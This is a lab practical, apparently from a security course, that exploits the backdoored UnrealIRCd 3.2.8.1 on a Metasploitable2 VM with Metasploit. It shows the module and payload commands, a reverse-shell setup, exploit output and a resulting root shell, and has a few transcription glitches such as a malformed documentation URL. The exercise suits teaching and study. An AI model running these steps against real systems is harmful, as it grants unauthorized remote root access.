

Practical 3: Steps to hack Linux OS using Metasploit framework.

Description: In this practical we exploit a malicious backdoor that was added to the Unreal IRCd 3.2.8.1 download archive, to take the target Metasploitable machine control.

Step 1: Consider metasploitable2 as a target for this practical. After performing a port scan using Nmap, we can observe that the target is running **UnrealIRC** on port number 6667. To exploit the target, start Metasploit framework and search for unrealirc. Load exploit and set **RHOST** and **RPORT** options

```
[msf](Jobs:0 Agents:0) >> search unrealirc

Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check
Description
-----
0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12      excellent No
UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

[msf](Jobs:0 Agents:0) >> use exploit/unix/irc/unreal_ircd_3281_backdoor
```

Step 2: Select a payload that suits our requirements, set payload and payload options as shown below.

```
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set RHOST 10.0.2.10
RHOST => 10.0.2.10
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set RPORT 6667
RPORT => 6667
```

```
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	D
0	payload/cmd/unix/adduser	.	normal	No	A
1	payload/cmd/unix/bind_perl	.	normal	No	U
2	payload/cmd/unix/bind_perl_ipv6	.	normal	No	U
3	payload/cmd/unix/bind_ruby	.	normal	No	U
4	payload/cmd/unix/bind_ruby_ipv6	.	normal	No	U
5	payload/cmd/unix/generic	.	normal	No	U
6	payload/cmd/unix/reverse	.	normal	No	U

Step 3: Verify exploit and payload options before running exploit command. RHOST and LHOST must be target and attackers IP addresses respectively. RPORT value, in this case, is 6667 as we are targeting the vulnerable application running on this port at target's end. LPORT can be any valid port number on which attacker want to handle the reverse connection.

```
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set payload payload/cmd/unix/reverse
payload => cmd/unix/reverse
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> show options
```

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
LHOST		no	The local client address
LPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, sapni, socks5h, http
RHOSTS	10.0.2.10	yes	The target host(s), see https://docs.metasplo.it.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	6667	yes	The target port (TCP)

Payload options (cmd/unix/reverse):

Step 4: Executing exploit command will help us gain access to the target machine.

```
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set LHOST 10.0.2.3
LHOST => 10.0.2.3
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set LPORT 6464
LPORT => 6464
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> exploit
[*] Started reverse TCP double handler on 10.0.2.3:6464
[*] 10.0.2.10:6667 - Connected to 10.0.2.10:6667...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your
IP address instead
[*] 10.0.2.10:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DkUY4GVfs0dL9VwF;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "DkUY4GVfs0dL9VwF\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.2.3:6464 -> 10.0.2.10:38594) at 2025-12-12 20:4
5:15 +0530
```

Step 5: After gaining access to the target machine, we can execute Linux commands to explore directories and do more.

```
[*] Command shell session 1 opened (10.0.2.3:6464 -> 10.0.2.10:38594) at 2025-12-12 20:4
5:15 +0530
ser's Home      wikihack.txt
whoami
root
pwd
/etc/unreal
cd/
```